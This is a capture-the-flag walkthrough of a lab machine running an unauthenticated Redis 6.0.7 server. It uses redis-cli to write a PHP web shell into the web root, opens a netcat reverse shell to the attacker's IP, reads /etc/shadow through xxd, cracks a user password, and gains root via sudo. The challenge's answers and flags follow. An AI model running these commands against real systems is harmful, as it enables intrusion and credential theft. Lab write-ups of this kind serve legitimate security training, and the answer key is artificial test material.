

Res



Res

Hack into a vulnerable database server with an in-memory data-structure in this semi-guided challenge!

writeup

--ran nmap scan on all ports and found 2 open ports (80 and 6379)

--nmap service scan reveals redis version 6.0.7 on 6379

--ran redis-cli tool as follows:

```
redis-cli -h 10.10.222.26
```

```
└─
```

```
10.10.222.26:6379> config set dir /var/www/html
```

```
OK
```

```
10.10.222.26:6379> config set dbfilename configinfo.php
```

```
OK
```

```
10.10.222.26:6379> set test "<?php phpinfo(); ?>"
```

```
OK
```

```
10.10.222.26:6379> save
```

```
OK
```

```
10.10.222.26:6379> config set dbfilename commandshell.php
```

```
OK
```

```
10.10.222.26:6379> set test "<?php system($_GET['cmd']); ?>"
```

```
OK
```

```
10.10.222.26:6379> save
```

```
OK
```

--spawn netcat revshell on port 4321

--inserted following URL <http://10.10.222.26/commandshell.php?cmd=nc-e /bin/sh 10.6.18.195 4321>

--then ran `python -c 'import pty;pty.spawn("/bin/bash")'` to get better interactive shell

--ran the following to get password of user:

```
www-data@ubuntu:/var/www/html$ LFILE=/etc/shadow
```

```
LFILE=/etc/shadow
```

```
www-data@ubuntu:/var/www/html$ xxd "$LFILE" | xxd -r
```

```
vianka:$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqIKiql3jxlwEWZP6CWxm7kIbzR6WzIxHR.UHmi.hc1/TuUOUBo/-jWQaQtGSXwvri0:18507:0:99999:7:::
```

--cracked with john and got:

```
beautiful1
```

--switched to vianka user with `su vianka` and password `beautiful1`

--ran `sudo -l` as vianka and noticed she has full SUDO rights

--ran `sudo su` to gain root privileges

--ran `cat /root/root.txt` and got:

```
thm{xxd_pr1v_escalat1on}
```

Resy Set Go



Are you ready to take the challenge?

The machine may take up to 2 minutes to boot and configure

#1	Scan the machine, how many ports are open?
----	--

2

#2	What's is the database management system installed on the server?
----	---

redis

#3	What port is the database management system running on?
----	---

6379

#4	What's is the version of management system installed on the server?
----	---

6.0.7

#5	Compromis- e the machine and locate user.txt
----	--

thm{red1s_rce_w1thout_credent1als}

#6	What is the local user account password?
----	---

beautiful1

#7	Escalate privileges and obtain root.txt
----	--

thm{xxd_pr1v_escalat1on}

scans

-----nmap-scan-----

Discovered open port 80/tcp on 10.10.222.26

Discovered open port 80/tcp on 10.10.222.26

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

|_ Supported Methods: GET HEAD POST OPTIONS

|_ http-server-header: Apache/2.4.18 (Ubuntu)

|_ http-title: Apache2 Ubuntu Default Page: It works

6379/tcp open redis Redis key-value store 6.0.7